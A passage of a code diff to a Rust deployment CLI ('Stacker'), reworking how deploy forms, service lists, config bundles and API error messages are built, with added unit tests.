+        let api: ApiResponse<MarketplaceTemplateInfo> = resp
+            .json()
+            .await
+            .map_err(|e| CliError::MarketplaceFailed(format!("create template response: {}", e)))?;
 
         api.item
             .ok_or_else(|| CliError::MarketplaceFailed("No template in response".to_string()))
@@ -1975,17 +3370,27 @@ impl StackerClient {
             .http
             .post(&url)
             .bearer_auth(&self.token)
+            .json(&serde_json::json!({
+                "confirm_no_secrets": true
+            }))
             .send()
             .await
-            .map_err(|e| CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e)))?;
+            .map_err(|e| {
+                CliError::MarketplaceFailed(format!("Stacker server unreachable: {}", e))
+            })?;
 
         if !resp.status().is_success() {
             let status = resp.status().as_u16();
             let body = resp.text().await.unwrap_or_default();
-            return Err(CliError::MarketplaceFailed(format!(
-                "Submit failed ({}): {}",
-                status, body
-            )));
+            return Err(CliError::MarketplaceFailed(
+                stacker_api_failure_with_message(
+                    "Submit failed",
+                    &format!("POST /api/templates/{template_id}/submit"),
+                    status,
+                    &body,
+                    cli_debug_enabled(),
+                ),
+            ));
         }
 
         Ok(())
@@ -2074,6 +3479,32 @@ pub struct AgentCommandInfo {
     pub updated_at: String,
 }
 
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct DeploymentCapabilityFeatures {
+    #[serde(default)]
+    pub kata_runtime: bool,
+    #[serde(default)]
+    pub compose: bool,
+    #[serde(default)]
+    pub backup: bool,
+    #[serde(default)]
+    pub pipes: bool,
+    #[serde(default)]
+    pub proxy_credentials_vault: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, Default)]
+pub struct DeploymentCapabilitiesInfo {
+    #[serde(default)]
+    pub deployment_hash: String,
+    #[serde(default)]
+    pub status: String,
+    #[serde(default)]
+    pub capabilities: Vec<String>,
+    #[serde(default)]
+    pub features: DeploymentCapabilityFeatures,
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Helper: build deploy form from stacker.yml config
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -2123,13 +3554,14 @@ fn parse_docker_image(image: &str) -> (Option<String>, String, Option<String>) {
     }
 }
 
-/// Parse a port mapping string like "8080:80", "8080:80/tcp", or "3000"
+/// Parse a port mapping string like "8080:80", "127.0.0.1:8080:80", or "3000"
 /// into (host_port, container_port) tuple.
 fn parse_port_mapping(port_str: &str) -> (String, String) {
     // Remove protocol suffix like "/tcp", "/udp"
     let port_no_proto = port_str.split('/').next().unwrap_or(port_str);
-    if let Some((host, container)) = port_no_proto.split_once(':') {
-        (host.to_string(), container.to_string())
+    if let Some((host_part, container)) = port_no_proto.rsplit_once(':') {
+        let host_port = host_part.rsplit(':').next().unwrap_or(host_part);
+        (host_port.to_string(), container.to_string())
     } else {
         (port_no_proto.to_string(), port_no_proto.to_string())
     }
@@ -2142,11 +3574,7 @@ fn parse_volume_mapping(vol_str: &str) -> (String, String, bool) {
     let parts: Vec<&str> = vol_str.split(':').collect();
     match parts.len() {
         // "source:target:mode" (e.g. "/host:/container:ro")
-        3 => (
-            parts[0].to_string(),
-            parts[1].to_string(),
-            parts[2] == "ro",
-        ),
+        3 => (parts[0].to_string(), parts[1].to_string(), parts[2] == "ro"),
         // "source:target"
         2 => (parts[0].to_string(), parts[1].to_string(), false),
         // bare path
@@ -2217,10 +3645,28 @@ fn service_to_app_json(svc: &ServiceDefinition, network_ids: &[String]) -> serde
     if let Some(tag) = dockerhub_tag {
         obj.insert("dockerhub_tag".to_string(), serde_json::json!(tag));
     }
+    if let Some(ref cmd) = svc.command {
+        obj.insert("command".to_string(), serde_json::json!(cmd));
+    }
+    if let Some(ref hc) = svc.healthcheck {
+        obj.insert(
+            "healthcheck".to_string(),
+            serde_json::json!({
+                "test": hc.test,
+                "interval": hc.interval,
+                "timeout": hc.timeout,
+                "retries": hc.retries,
+            }),
+        );
+    }
 
     app
 }
 
+fn is_platform_managed_service(svc: &ServiceDefinition) -> bool {
+    crate::project_app::is_platform_managed_app_identity(&svc.name, Some(&svc.image))
+}
+
 /// Convert the `app` section of stacker.yml into the Stacker server's app JSON
 /// format. Returns `None` if the app has no image (build-only local apps).
 fn app_source_to_app_json(
@@ -2305,6 +3751,20 @@ fn app_source_to_app_json(
     if let Some(tag) = dockerhub_tag {
         obj.insert("dockerhub_tag".to_string(), serde_json::json!(tag));
     }
+    if let Some(ref cmd) = config.app.command {
+        obj.insert("command".to_string(), serde_json::json!(cmd));
+    }
+    if let Some(ref hc) = config.app.healthcheck {
+        obj.insert(
+            "healthcheck".to_string(),
+            serde_json::json!({
+                "test": hc.test,
+                "interval": hc.interval,
+                "timeout": hc.timeout,
+                "retries": hc.retries,
+            }),
+        );
+    }
 
     Some(app)
 }
@@ -2347,65 +3807,21 @@ pub fn build_project_body(config: &StackerConfig) -> serde_json::Value {
     // app format.  The main `app` section is the primary web application;
     // additional `services` are supporting containers.
     let mut web_apps: Vec<serde_json::Value> = Vec::new();
+    let mut service_apps: Vec<serde_json::Value> = Vec::new();
 
     // Include the main app (if it has an image)
     if let Some(main_app) = app_source_to_app_json(config, &network_ids) {
         web_apps.push(main_app);
     }
 
-    // Include additional services
+    // Include additional services as service targets. Platform-managed apps
+    // are installed by their own roles and directories, not by the project
+    // compose, to avoid duplicate containers and host-port conflicts.
     for svc in &config.services {
-        web_apps.push(service_to_app_json(svc, &network_ids));
-    }
-
-    // Build the feature list based on proxy config.
-    // When proxy type is Nginx or NginxProxyManager, include it as a feature
-    // so the install service's collect_props() picks it up into extended_features
-    // and the Ansible playbook runs the nginx_proxy_manager role.
-    let mut features: Vec<serde_json::Value> = Vec::new();
-    match config.proxy.proxy_type {
-        crate::cli::config_parser::ProxyType::Nginx
-        | crate::cli::config_parser::ProxyType::NginxProxyManager => {
-            features.push(serde_json::json!({
-                "_id": generate_app_id(),
-                "name": "Nginx Proxy Manager",
-                "code": "nginx_proxy_manager",
-                "type": "feature",
-                "restart": "always",
-                "custom": true,
-                "shared_ports": [
-                    {"host_port": "80", "container_port": "80"},
-                    {"host_port": "443", "container_port": "443"},
-                    {"host_port": "81", "container_port": "81"},
-                ],
-                "network": [],
-                "dockerhub_user": "jc21",
-                "dockerhub_name": "nginx-proxy-manager",
-                "dockerhub_tag": "latest",
-            }));
+        if is_platform_managed_service(svc) {
+            continue;
         }
-        _ => {}
-    }
-
-    // When monitoring.status_panel is enabled, include the statuspanel feature
-    // with its public port so the install service's collect_props() picks it up
-    // and opens port 5000 in the cloud firewall.
-    if config.monitoring.status_panel {
-        features.push(serde_json::json!({
-            "_id": generate_app_id(),
-            "name": "Status Panel",
-            "code": "statuspanel",
-            "type": "feature",
-            "restart": "always",
-            "custom": true,
-            "shared_ports": [
-                {"host_port": "5000", "container_port": "5000"},
-            ],
-            "network": [],
-            "dockerhub_user": "trydirect",
-            "dockerhub_name": "status",
-            "dockerhub_tag": "latest",
-        }));
+        service_apps.push(service_to_app_json(svc, &network_ids));
     }
 
     serde_json::json!({
@@ -2413,8 +3829,8 @@ pub fn build_project_body(config: &StackerConfig) -> serde_json::Value {
             "custom_stack_code": stack_code,
             "project_name": config.name.clone(),
             "web": web_apps,
-            "feature": features,
-            "service": [],
+            "feature": [],
+            "service": service_apps,
             "networks": [{
                 "id": network_id,
                 "name": "default_network",
@@ -2424,6 +3840,50 @@ pub fn build_project_body(config: &StackerConfig) -> serde_json::Value {
     })
 }
 
+pub fn attach_config_bundle_to_project_body(
+    project_body: &mut serde_json::Value,
+    artifacts: &crate::cli::config_bundle::ConfigBundleArtifacts,
+) {
+    if let Some(custom) = project_body
+        .get_mut("custom")
+        .and_then(|custom| custom.as_object_mut())
+    {
+        custom.insert(
+            "deployment_artifacts".to_string(),
+            serde_json::json!({
+                "config_bundle": artifacts.artifact_metadata(),
+            }),
+        );
+    }
+}
+
+pub fn attach_config_bundle_to_deploy_form(
+    deploy_form: &mut serde_json::Value,
+    artifacts: &crate::cli::config_bundle::ConfigBundleArtifacts,
+) {
+    if let Some(obj) = deploy_form.as_object_mut() {
+        // Only surface a real, user-selected environment. A synthesized fallback
+        // namespace (used when no environment profile is configured) must not leak
+        // into the deploy-time environment forwarded to the server and MQ.
+        if !artifacts.synthesized_environment {
+            obj.insert(
+                "environment".to_string(),
+                serde_json::Value::String(artifacts.environment.clone()),
+            );
+        }
+        obj.insert(
+            "config_files".to_string(),
+            serde_json::Value::Array(artifacts.config_files.clone()),
+        );
+        obj.insert(
+            "config_bundle".to_string(),
+            serde_json::json!({
+                "manifest": artifacts.artifact_metadata(),
+            }),
+        );
+    }
+}
+
 /// Build the deploy form payload that matches the Stacker server's
 /// `forms::project::Deploy` structure.
 /// Generate a deterministic but unique server name from the project name.
@@ -2436,14 +3896,20 @@ pub fn build_project_body(config: &StackerConfig) -> serde_json::Value {
 ///   - must start with a letter
 ///   - must not end with `-`
 ///   - max 63 characters total
-fn generate_server_name(project_name: &str) -> String {
+pub fn generate_server_name(project_name: &str) -> String {
     use std::time::{SystemTime, UNIX_EPOCH};
 
     // Sanitise project name: lowercase, replace non-alnum with hyphen, collapse runs
     let sanitised: String = project_name
         .to_lowercase()
         .chars()
-        .map(|c| if c.is_ascii_alphanumeric() || c == '-' { c } else { '-' })
+        .map(|c| {
+            if c.is_ascii_alphanumeric() || c == '-' {
+                c
+            } else {
+                '-'
+            }
+        })
         .collect::<String>()
         .split('-')
         .filter(|s| !s.is_empty())
@@ -2477,13 +3943,35 @@ fn generate_server_name(project_name: &str) -> String {
     format!("{}-{}", truncated, suffix)
 }
 
+#[derive(Debug, Clone, Copy, Default)]
+pub struct DeployFormOptions {
+    pub include_managed_proxy: bool,
+}
+
+pub fn build_deploy_form_with_options(
+    config: &StackerConfig,
+    options: DeployFormOptions,
+) -> serde_json::Value {
+    let mut form = build_deploy_form(config);
+    if !options.include_managed_proxy {
+        remove_extended_feature(&mut form, "nginx_proxy_manager");
+    }
+    form
+}
+
 pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
     let cloud = config.deploy.cloud.as_ref();
     let provider = cloud
-        .map(|c| super::install_runner::provider_code_for_remote(&c.provider.to_string()).to_string())
+        .map(|c| {
+            super::install_runner::provider_code_for_remote(&c.provider.to_string()).to_string()
+        })
         .unwrap_or_else(|| "htz".to_string());
-    let region = cloud.and_then(|c| c.region.clone()).unwrap_or_else(|| "nbg1".to_string());
-    let server_size = cloud.and_then(|c| c.size.clone()).unwrap_or_else(|| "cpx11".to_string());
+    let region = cloud
+        .and_then(|c| c.region.clone())
+        .unwrap_or_else(|| "nbg1".to_string());
+    let server_size = cloud
+        .and_then(|c| c.size.clone())
+        .unwrap_or_else(|| "cx23".to_string());
     let os = match provider.as_str() {
         "do" => "docker-20-04", // DigitalOcean marketplace image with Docker pre-installed
         "htz" => "docker-ce",   // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04)
@@ -2491,24 +3979,224 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
         _ => "ubuntu-22.04",
     };
 
-    // Auto-generate a server name from the project name so every
-    // provisioned server gets a recognisable label in `stacker list servers`.
-    let project_name = config.project.identity.clone().unwrap_or_else(|| config.name.clone());
-    let server_name = generate_server_name(&project_name);
+    // Auto-generate a server name from the project name so every
+    // provisioned server gets a recognisable label in `stacker list servers`.
+    let project_name = config
+        .project
+        .identity
+        .clone()
+        .unwrap_or_else(|| config.name.clone());
+    let server_name = generate_server_name(&project_name);
+
+    let mut form = serde_json::json!({
+        "cloud": {
+            "provider": provider,
+            "save_token": true,
+        },
+        "server": {
+            "region": region,
+            "server": server_size,
+            "os": os,
+            "name": server_name,
+        },
+        "stack": {
+            "stack_code": config.project.identity.clone().unwrap_or_else(|| config.name.clone()),
+            "vars": [],
+            "integrated_features": [],
+            "extended_features": [],
+            "subscriptions": [],
+        }
+    });
+
+    // Surface saved-credential and saved-server selectors so the Stacker API
+    // can resolve them server-side. Without these, install/catalog deploys
+    // would fail credential validation even when the user has registered the
+    // cloud and reused the same names in stacker.yml.
+    if let Some(cloud_cfg) = config.deploy.cloud.as_ref() {
+        if let Some(form_cloud) = form.get_mut("cloud").and_then(|v| v.as_object_mut()) {
+            if let Some(key) = cloud_cfg
+                .key
+                .as_deref()
+                .map(str::trim)
+                .filter(|v| !v.is_empty())
+            {
+                form_cloud.insert(
+                    "name".to_string(),
+                    serde_json::Value::String(key.to_string()),
+                );
+                // Don't re-insert a duplicate credential when the user is
+                // reusing a saved one.
+                form_cloud.insert("save_token".to_string(), serde_json::Value::Bool(false));
+            }
+        }
+        if let Some(server_name) = cloud_cfg
+            .server
+            .as_deref()
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+        {
+            if let Some(form_server) = form.get_mut("server").and_then(|v| v.as_object_mut()) {
+                form_server.insert(
+                    "name".to_string(),
+                    serde_json::Value::String(server_name.to_string()),
+                );
+            }
+        }
+    }
+
+    // Inject Docker registry credentials if provided (env vars or stacker.yml).
+    // These flow through the Stacker server to the Install Service, which passes
+    // them as Ansible extra vars (docker_registry, docker_username, docker_password).
+    let registry_creds = super::install_runner::resolve_docker_registry_credentials(config);
+    if !registry_creds.is_empty() {
+        if let Some(obj) = form.as_object_mut() {
+            obj.insert(
+                "registry".to_string(),
+                serde_json::Value::Object(registry_creds),
+            );
+        }
+    }
+
+    // When proxy type is Nginx or NginxProxyManager, inject "nginx_proxy_manager"
+    // into extended_features so the install service's Ansible playbook runs the
+    // nginx_proxy_manager role (collect_roles checks selected_features).
+    match config.proxy.proxy_type {
+        crate::cli::config_parser::ProxyType::Nginx
+        | crate::cli::config_parser::ProxyType::NginxProxyManager => {
+            if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) {
+                let features = stack_obj
+                    .entry("extended_features")
+                    .or_insert_with(|| serde_json::json!([]));
+                if let Some(arr) = features.as_array_mut() {
+                    let npm = serde_json::Value::String("nginx_proxy_manager".to_string());
+                    if !arr.contains(&npm) {
+                        arr.push(npm);
+                    }
+                }
+            }
+        }
+        _ => {}
+    }
+
+    // When monitoring.status_panel is enabled, inject the "statuspanel" role into
+    // integrated_features, set connection_mode so the installer recognizes the
+    // status panel flow, and pass vault_url in stack.vars so the Ansible role
+    // configures the remote status panel agent with the public Vault address.
+    if config.monitoring.status_panel {
+        // Resolve public Vault URL: env override → default constant.
+        let vault_url =
+            std::env::var("STACKER_VAULT_URL").unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string());
+
+        if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) {
+            let features = stack_obj
+                .entry("integrated_features")
+                .or_insert_with(|| serde_json::json!([]));
+            if let Some(arr) = features.as_array_mut() {
+                let sp = serde_json::Value::String("statuspanel".to_string());
+                if !arr.contains(&sp) {
+                    arr.push(sp);
+                }
+            }
+
+            // Inject vault_url into stack.vars so the Install Service Ansible
+            // statuspanel role configures the agent with the public Vault address.
+            let vars = stack_obj
+                .entry("vars")
+                .or_insert_with(|| serde_json::json!([]));
+            if let Some(arr) = vars.as_array_mut() {
+                arr.push(serde_json::json!({
+                    "key": "vault_url",
+                    "value": vault_url
+                }));
+                arr.push(serde_json::json!({
+                    "key": "status_panel_port",
+                    "value": "5000"
+                }));
+            }
+        }
+        if let Some(server_obj) = form.get_mut("server").and_then(|v| v.as_object_mut()) {
+            server_obj.insert(
+                "connection_mode".to_string(),
+                serde_json::Value::String("status_panel".to_string()),
+            );
+        }
+    }
+
+    if let Some(cloud_cfg) = config.deploy.cloud.as_ref() {
+        if !cloud_cfg.public_ports.is_empty() {
+            // Normalize each entry to canonical "port/protocol" form so the
+            // Install Service and cloud-provider firewall always receive a
+            // fully-qualified spec. Bare numbers ("8000") become "8000/tcp";
+            // invalid entries are dropped with a warning rather than silently
+            // swallowed downstream.
+            let normalized: Vec<serde_json::Value> = cloud_cfg
+                .public_ports
+                .iter()
+                .filter_map(|p| match crate::forms::firewall::normalize_public_port(p) {
+                    Ok(spec) => Some(serde_json::Value::String(spec)),
+                    Err(err) => {
+                        eprintln!("  warning: skipping invalid public_port '{}': {}", p, err);
+                        None
+                    }
+                })
+                .collect();
+            if !normalized.is_empty() {
+                if let Some(obj) = form.as_object_mut() {
+                    obj.insert(
+                        "public_ports".to_string(),
+                        serde_json::Value::Array(normalized),
+                    );
+                }
+            }
+        }
+    }
+
+    form
+}
+
+pub fn build_server_deploy_form(
+    config: &StackerConfig,
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+    server_name: &str,
+    force_status_panel: bool,
+) -> serde_json::Value {
+    build_server_deploy_form_with_options(
+        config,
+        server_cfg,
+        server_name,
+        force_status_panel,
+        DeployFormOptions {
+            include_managed_proxy: true,
+        },
+    )
+}
+
+pub fn build_server_deploy_form_with_options(
+    config: &StackerConfig,
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+    server_name: &str,
+    force_status_panel: bool,
+    options: DeployFormOptions,
+) -> serde_json::Value {
+    let project_name = config
+        .project
+        .identity
+        .clone()
+        .unwrap_or_else(|| config.name.clone());
 
     let mut form = serde_json::json!({
         "cloud": {
-            "provider": provider,
-            "save_token": true,
+            "provider": "own",
+            "save_token": false,
         },
         "server": {
-            "region": region,
-            "server": server_size,
-            "os": os,
             "name": server_name,
+            "srv_ip": server_cfg.host,
+            "ssh_user": server_cfg.user,
+            "ssh_port": server_cfg.port,
         },
         "stack": {
-            "stack_code": config.project.identity.clone().unwrap_or_else(|| config.name.clone()),
+            "stack_code": project_name,
             "vars": [],
             "integrated_features": [],
             "extended_features": [],
@@ -2516,9 +4204,6 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
         }
     });
 
-    // Inject Docker registry credentials if provided (env vars or stacker.yml).
-    // These flow through the Stacker server to the Install Service, which passes
-    // them as Ansible extra vars (docker_registry, docker_username, docker_password).
     let registry_creds = super::install_runner::resolve_docker_registry_credentials(config);
     if !registry_creds.is_empty() {
         if let Some(obj) = form.as_object_mut() {
@@ -2529,36 +4214,29 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
         }
     }
 
-    // When proxy type is Nginx or NginxProxyManager, inject "nginx_proxy_manager"
-    // into extended_features so the install service's Ansible playbook runs the
-    // nginx_proxy_manager role (collect_roles checks selected_features).
-    match config.proxy.proxy_type {
-        crate::cli::config_parser::ProxyType::Nginx
-        | crate::cli::config_parser::ProxyType::NginxProxyManager => {
-            if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) {
-                let features = stack_obj
-                    .entry("extended_features")
-                    .or_insert_with(|| serde_json::json!([])); 
-                if let Some(arr) = features.as_array_mut() {
-                    let npm = serde_json::Value::String("nginx_proxy_manager".to_string());
-                    if !arr.contains(&npm) {
-                        arr.push(npm);
+    if options.include_managed_proxy {
+        match config.proxy.proxy_type {
+            crate::cli::config_parser::ProxyType::Nginx
+            | crate::cli::config_parser::ProxyType::NginxProxyManager => {
+                if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) {
+                    let features = stack_obj
+                        .entry("extended_features")
+                        .or_insert_with(|| serde_json::json!([]));
+                    if let Some(arr) = features.as_array_mut() {
+                        let npm = serde_json::Value::String("nginx_proxy_manager".to_string());
+                        if !arr.contains(&npm) {
+                            arr.push(npm);
+                        }
                     }
                 }
             }
+            _ => {}
         }
-        _ => {}
     }
 
-    // When monitoring.status_panel is enabled, inject the "statuspanel" role into
-    // integrated_features and set connection_mode so the install service's Ansible
-    // playbook picks it up (get_features_roles checks connection_mode == "status_panel").
-    // Also pass vault_url in stack.vars so the Ansible role configures the remote
-    // status panel agent with the public Vault address (not the local Docker IP).
-    if config.monitoring.status_panel {
-        // Resolve public Vault URL: env override → default constant.
-        let vault_url = std::env::var("STACKER_VAULT_URL")
-            .unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string());
+    if config.monitoring.status_panel || force_status_panel {
+        let vault_url =
+            std::env::var("STACKER_VAULT_URL").unwrap_or_else(|_| DEFAULT_VAULT_URL.to_string());
 
         if let Some(stack_obj) = form.get_mut("stack").and_then(|v| v.as_object_mut()) {
             let features = stack_obj
@@ -2571,8 +4249,6 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
                 }
             }
 
-            // Inject vault_url into stack.vars so the Install Service Ansible
-            // statuspanel role configures the agent with the public Vault address.
             let vars = stack_obj
                 .entry("vars")
                 .or_insert_with(|| serde_json::json!([]));
@@ -2598,9 +4274,66 @@ pub fn build_deploy_form(config: &StackerConfig) -> serde_json::Value {
     form
 }
 
+fn remove_extended_feature(form: &mut serde_json::Value, code: &str) {
+    let Some(features) = form
+        .get_mut("stack")
+        .and_then(|stack| stack.get_mut("extended_features"))
+        .and_then(|features| features.as_array_mut())
+    else {
+        return;
+    };
+
+    features.retain(|feature| feature.as_str() != Some(code));
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
+    use wiremock::matchers::{method, path};
+    use wiremock::{Mock, MockServer, ResponseTemplate};
+
+    #[test]
+    fn stacker_api_failure_hides_endpoint_but_surfaces_body_for_4xx() {
+        let message = stacker_api_failure_with_debug(
+            "GET /cloud",
+            400,
+            r#"{"message":"401 Unauthorized"}"#,
+            false,
+        );
+
+        // 4xx body is intentionally surfaced inline so users don't have to
+        // rerun with DEBUG=true to see the actual server message. The
+        // internal endpoint path stays hidden.
+        assert!(message.contains("Stacker server request failed (400)"));
+        assert!(!message.contains("GET /cloud"));
+        assert!(message.contains("401 Unauthorized"));
+    }
+
+    #[test]
+    fn stacker_api_failure_hides_endpoint_and_body_for_5xx_without_debug() {
+        let message = stacker_api_failure_with_debug("GET /cloud", 502, "upstream timeout", false);
+
+        assert!(message.contains("Stacker server request failed (502)"));
+        assert!(!message.contains("GET /cloud"));
+        assert!(!message.contains("upstream timeout"));
+        assert!(message.contains("DEBUG=true"));
+        assert!(message.contains("RUST_LOG=debug"));
+    }
+
+    #[test]
+    fn stacker_api_failure_includes_endpoint_and_body_with_debug() {
+        let message = stacker_api_failure_with_debug(
+            "GET /cloud",
+            400,
+            r#"{"message":"401 Unauthorized"}"#,
+            true,
+        );
+
+        assert_eq!(
+            message,
+            r#"Stacker server GET /cloud failed (400): {"message":"401 Unauthorized"}"#
+        );
+    }
 
     #[test]
     fn test_build_deploy_form_defaults() {
@@ -2611,12 +4344,13 @@ mod tests {
                 provider: crate::cli::config_parser::CloudProvider::Hetzner,
                 orchestrator: crate::cli::config_parser::CloudOrchestrator::Remote,
                 region: Some("fsn1".to_string()),
-                size: Some("cpx11".to_string()),
+                size: Some("cx23".to_string()),
                 install_image: None,
                 remote_payload_file: None,
                 ssh_key: None,
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -2624,12 +4358,239 @@ mod tests {
         let form = build_deploy_form(&config);
         assert_eq!(form["cloud"]["provider"], "htz");
         assert_eq!(form["server"]["region"], "fsn1");
-        assert_eq!(form["server"]["server"], "cpx11");
+        assert_eq!(form["server"]["server"], "cx23");
         assert_eq!(form["stack"]["stack_code"], "myproject");
         // Auto-generated server name should start with the project name
         let name = form["server"]["name"].as_str().unwrap();
-        assert!(name.starts_with("myproject-"), "server name should start with project name, got: {}", name);
-        assert_eq!(name.len(), "myproject-".len() + 4, "suffix should be 4 hex chars");
+        assert!(
+            name.starts_with("myproject-"),
+            "server name should start with project name, got: {}",
+            name
+        );
+        assert_eq!(
+            name.len(),
+            "myproject-".len() + 4,
+            "suffix should be 4 hex chars"
+        );
+    }
+
+    #[test]
+    fn test_attach_config_bundle_adds_deploy_files_and_stack_builder_metadata() {
+        let artifacts = crate::cli::config_bundle::ConfigBundleArtifacts {
+            environment: "production".to_string(),
+            manifest_path: std::path::PathBuf::from(
+                ".stacker/deploy/production/config-bundle.manifest.json",
+            ),
+            archive_path: std::path::PathBuf::from(
+                ".stacker/deploy/production/config-bundle.tar.zst",
+            ),
+            remote_compose_path: std::path::PathBuf::from(
+                ".stacker/deploy/production/docker-compose.remote.yml",
+            ),
+            manifest: crate::cli::config_bundle::ConfigBundleManifest {
+                version: 1,
+                environment: "production".to_string(),
+                files: vec![crate::cli::config_bundle::ConfigBundleFile {
+                    source_path: "docker/production/.env".to_string(),
+                    destination_path:
+                        "/opt/stacker/deployments/production/files/docker/production/.env"
+                            .to_string(),
+                    mode: "0644".to_string(),
+                    size: 17,
+                    sha256: "abc123".to_string(),
+                }],
+            },
+            config_files: vec![serde_json::json!({
+                "name": ".env",
+                "content": "RUST_LOG=warning\n",
+                "destination_path": "/opt/stacker/deployments/production/files/docker/production/.env",
+            })],
+            synthesized_environment: false,
+        };
+
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("device-api")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Cloud)
+            .build()
+            .unwrap();
+        let mut project_body = build_project_body(&config);
+        let mut deploy_form = build_deploy_form(&config);
+
+        attach_config_bundle_to_project_body(&mut project_body, &artifacts);
+        attach_config_bundle_to_deploy_form(&mut deploy_form, &artifacts);
+
+        assert_eq!(deploy_form["environment"], "production");
+        assert_eq!(deploy_form["config_files"][0]["name"], ".env");
+        assert_eq!(
+            project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0]
+                ["source_path"],
+            "docker/production/.env"
+        );
+        assert_eq!(
+            project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0]
+                ["content_hidden"],
+            true
+        );
+        assert!(
+            project_body["custom"]["deployment_artifacts"]["config_bundle"]["config_files"][0]
+                .get("content")
+                .is_none()
+        );
+    }
+
+    #[test]
+    fn test_attach_config_bundle_with_synthesized_env_omits_environment() {
+        let artifacts = crate::cli::config_bundle::ConfigBundleArtifacts {
+            environment: "default".to_string(),
+            manifest_path: std::path::PathBuf::from(
+                ".stacker/deploy/default/config-bundle.manifest.json",
+            ),
+            archive_path: std::path::PathBuf::from(".stacker/deploy/default/config-bundle.tar.zst"),
+            remote_compose_path: std::path::PathBuf::from(
+                ".stacker/deploy/default/docker-compose.remote.yml",
+            ),
+            manifest: crate::cli::config_bundle::ConfigBundleManifest {
+                version: 1,
+                environment: "default".to_string(),
+                files: vec![],
+            },
+            config_files: vec![serde_json::json!({
+                "name": "app.conf",
+                "content": "key=value\n",
+                "destination_path": "config/app.conf",
+            })],
+            synthesized_environment: true,
+        };
+
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("device-api")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Cloud)
+            .build()
+            .unwrap();
+        let mut deploy_form = build_deploy_form(&config);
+
+        attach_config_bundle_to_deploy_form(&mut deploy_form, &artifacts);
+
+        // config_files/config_bundle are still attached ...
+        assert_eq!(deploy_form["config_files"][0]["name"], "app.conf");
+        assert!(deploy_form.get("config_bundle").is_some());
+        // ... but the synthesized namespace must not surface as the environment.
+        assert!(
+            deploy_form.get("environment").is_none(),
+            "synthesized environment must not be attached to the deploy form"
+        );
+    }
+
+    #[test]
+    fn test_build_server_deploy_form_uses_existing_server_settings() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("myproject")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .server(crate::cli::config_parser::ServerConfig {
+                host: "203.0.113.10".to_string(),
+                user: "deploy".to_string(),
+                ssh_key: Some(std::path::PathBuf::from("/tmp/id_ed25519")),
+                port: 2222,
+            })
+            .build()
+            .unwrap();
+        let server_cfg = config.deploy.server.as_ref().unwrap();
+
+        let form = build_server_deploy_form(&config, server_cfg, "edge-box", true);
+
+        assert_eq!(form["cloud"]["provider"], "own");
+        assert_eq!(form["cloud"]["save_token"], false);
+        assert_eq!(form["server"]["name"], "edge-box");
+        assert_eq!(form["server"]["srv_ip"], "203.0.113.10");
+        assert_eq!(form["server"]["ssh_user"], "deploy");
+        assert_eq!(form["server"]["ssh_port"], 2222);
+        assert_eq!(form["server"]["connection_mode"], "status_panel");
+        assert_eq!(form["stack"]["stack_code"], "myproject");
+        assert!(form["stack"]["integrated_features"]
+            .as_array()
+            .unwrap()
+            .iter()
+            .any(|value| value == "statuspanel"));
+    }
+
+    #[test]
+    fn test_build_deploy_form_defaults_to_htz_when_no_cloud_config() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("myproject")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .server(crate::cli::config_parser::ServerConfig {
+                host: "203.0.113.10".to_string(),
+                user: "root".to_string(),
+                ssh_key: None,
+                port: 22,
+            })
+            .build()
+            .unwrap();
+
+        let form = build_deploy_form(&config);
+        assert_eq!(
+            form["cloud"]["provider"], "htz",
+            "build_deploy_form defaults to htz when no cloud config — marketplace install \
+             should use build_server_deploy_form instead for server targets"
+        );
+    }
+
+    #[test]
+    fn test_build_server_deploy_form_sets_provider_own_for_server_targets() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("myproject")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .server(crate::cli::config_parser::ServerConfig {
+                host: "203.0.113.10".to_string(),
+                user: "root".to_string(),
+                ssh_key: None,
+                port: 22,
+            })
+            .build()
+            .unwrap();
+        let server_cfg = config.deploy.server.as_ref().unwrap();
+
+        let form = build_server_deploy_form(&config, server_cfg, "myproject-box", false);
+        assert_eq!(
+            form["cloud"]["provider"], "own",
+            "server deploy form must set provider to own"
+        );
+        assert_eq!(form["server"]["srv_ip"], "203.0.113.10");
+        assert_eq!(form["server"]["ssh_user"], "root");
+        assert_eq!(form["server"]["ssh_port"], 22);
+        assert_eq!(form["cloud"]["save_token"], false);
+    }
+
+    #[test]
+    fn test_build_server_deploy_form_with_status_panel_monitoring_uses_connection_mode() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
